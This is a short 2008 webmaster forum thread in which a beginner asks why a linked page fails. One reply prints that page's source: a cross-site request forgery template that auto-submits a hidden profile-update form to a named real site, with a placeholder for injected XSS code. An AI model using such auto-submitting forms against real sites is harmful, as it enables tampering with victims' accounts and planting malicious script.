Zymic Forums

Webmaster resources

Zymic IRC Server

Chat in real time at irc.zymic.com - Learn More

Welcome

Welcome to the Zymic webmaster forums. Our forums are here to provide people the free ability to discuss a range of websites related topics such as design, development coding and marketing.

In order to post you will need to register for a zymic account or if you already have one simply login by using the form on the left.

left Zymic Webmaster ForumsWeb Design & DevelopmentClient Side ScriptingHTML and CSS right
  Closed Topic Start new topic
left right
Horaaan
post Oct 12 2008, 04:17 PM
Post #1


Newbie
*

Group: Members
Posts: 1
Joined: 12-October 08
Member No.: 63,999



why its not working.
http://www.tutorialistic.net/blah.html
Go to the top of the page 
 
  + Quote Post
wozzym
post Oct 12 2008, 07:05 PM
Post #2


Outrageously Uber Ninja
Group Icon

Group: Community Helper
Posts: 2,198
Joined: 2-March 08
From: Australia
Member No.: 12,578



well what script are you trying to use?
Go to the top of the page 
 
  + Quote Post
rockacola
post Oct 15 2008, 01:00 PM
Post #3


Member
**

Group: Members
Posts: 41
Joined: 11-October 08
From: United State
Member No.: 63,862



Source code of that page:
CODE
<html>
<head></head>
<body onLoad=java script:document.form.submit()>

<form action="http://community.mcafee.com/profile.php?do=updateprofile";
method="POST" name="form">

<input type="hidden" name="s" value="">
<input type="hidden" name="do" value="updateprofile">
<input type="hidden" name="customtext" value="###########XSS CODE#########">
<!-- Attacker's XSS Code -->
<input type="hidden" name="month" value="-1">
<input type="hidden" name="day" value="-1">
<input type="hidden" name="year" value="">
<input type="hidden" name="oldbirthday" value="">
<input type="hidden" name="showbirthday" value="2">
<input type="hidden" name="homepage" value="">
<input type="hidden" name="icq" value="">

<input type="hidden" name="aim" value="">
<input type="hidden" name="msn" value="">
<input type="hidden" name="yahoo" value="">
<input type="hidden" name="skype" value="">
</form>
</body>
</html>


Appearently you are learning about XSS attack hunter.gif


also,
the reason it's not working because as soon as you finish loading this page, you'll be automatically redirect to "http://community.mcafee.com/profile.php?do=updateprofile" page, which will give you a "Page Load Error" message.
Go to the top of the page 
 
  + Quote Post
 Closed Topic Start new topic
left right
0 Members:
left right
 


Lo-Fi Version Time is now: 24th May 2013 - 04:09 PM